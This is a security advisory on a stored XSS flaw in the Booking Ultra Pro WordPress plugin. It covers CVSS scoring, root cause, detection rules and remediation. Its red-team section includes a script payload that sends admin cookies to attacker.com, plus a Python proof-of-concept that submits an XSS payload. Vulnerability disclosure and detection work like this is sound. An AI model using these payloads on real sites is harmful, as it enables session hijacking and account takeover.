CVE-2024-38676

Executive Summary

CVE-2024-38676 is a Stored Cross-Site Scripting (XSS) vulnerability in the Booking Ultra Pro WordPress plugin, affecting versions from n/a through 1.1.13. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the plugin. When an administrator or other user views the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability arises from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and the vendor appears unresponsive. Given the widespread use of WordPress and the plugin’s booking functionality, this vulnerability poses a moderate risk to affected sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since no patch is available, site administrators must consider removing or replacing the plugin. The lack of vendor response increases supply chain risk, as malicious actors could exploit this vulnerability in unpatched installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with contributor role or higher.
• User Interaction: Required (UI:R) – victim must visit the compromised page.
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored XSS can persist across sessions and affect multiple users.

Deep Dive & Mechanics

The vulnerability exists in the Booking Ultra Pro plugin’s handling of booking form fields. When a user submits a booking request, the plugin stores the input data (e.g., customer name, notes, or custom fields) in the WordPress database without proper sanitization or output encoding. When an administrator views the booking details in the admin dashboard or a front-end booking list, the stored data is rendered directly into HTML without escaping. This allows an attacker to inject malicious HTML/JavaScript payloads.

Root Cause: The plugin uses functions like echo $data or the_content() without applying WordPress’s built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Attack Flow:

1. Attacker logs in with a contributor-level account (or higher).
2. Attacker submits a booking request containing a malicious payload in a text field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. An administrator or other user navigates to the booking management page.
5. The payload executes in the victim’s browser, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Booking Ultra Pro <= 1.1.13):

// In a template file or admin page
echo $booking_data['customer_name'];

Patched Code (Hypothetical fix):

// Properly escape output
echo esc_html( $booking_data['customer_name'] );

The vulnerable code directly outputs user-supplied data without escaping. The patched version uses esc_html() to neutralize HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Booking Ultra Pro plugin (version <= 1.1.13) installed and activated.
• A user account with at least contributor privileges.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to the booking form (e.g., /booking-ultra-pro/).
3. Fill in the form fields with a malicious payload, e.g.:

   Name: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the booking.
5. Wait for an administrator to view the booking list (e.g., /wp-admin/admin.php?page=booking-ultra-pro-bookings).
6. The payload executes, exfiltrating the admin’s session cookie.

Proof-of-Concept (PoC) Script:

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    'action': 'booking_ultra_pro_submit',
    'customer_name': '<script>alert("XSS")</script>',
    'customer_email': 'test@test.com',
    # other required fields
}
cookies = {'wordpress_logged_in': '...'}  # valid contributor session

r = requests.post(target_url, data=payload, cookies=cookies)
print("Payload submitted. Check admin panel.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual booking submissions containing HTML tags or JavaScript.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate impact.

Hardening:

• Disable or remove the Booking Ultra Pro plugin until a patch is available.
• Restrict contributor roles from submitting booking forms if not needed.
• Apply input validation and output escaping via a custom plugin or WordPress filters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to known malicious domains containing document.cookie or fetch in the request body.
  • Unusual POST requests to /wp-admin/admin-ajax.php with action=booking_ultra_pro_submit and HTML/JavaScript in parameters.

• Host IOCs:

  • Database entries in wp_postmeta or custom booking tables containing <script> tags.
  • Modified JavaScript files in /wp-content/plugins/booking-ultra-pro/ (if attacker uploads malicious files).

• File IOCs:

  • Suspicious entries in WordPress debug log (wp-content/debug.log) showing unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_38676_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Booking Ultra Pro plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-38676"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $booking_table = "booking_ultra_pro"
    condition:
        $booking_table and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Booking Ultra Pro Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Booking Ultra Pro plugin submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=booking_ultra_pro_submit'
        cs-User-Agent: '*'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in booking notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-38676 Stored XSS in Booking Ultra Pro"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=booking_ultra_pro_submit"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the Booking Ultra Pro plugin from all WordPress installations.
2. Scan for compromise: Check for existing XSS payloads in the database (e.g., using the YARA rule above).
3. Rotate credentials: If any admin session was compromised, force password resets and invalidate existing sessions.

Long-Term Fix:

• Since no patch is available, consider migrating to an alternative booking plugin that is actively maintained and follows secure coding practices.
• If the plugin is critical, implement a custom patch by adding output escaping to all template files (e.g., esc_html(), esc_attr()).

Preventive Measures:

• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress’s built-in wp_kses() functions for all user input.
• Regularly audit plugins for known vulnerabilities using tools like WPScan.

Valters IT
Securing Digital Frontiers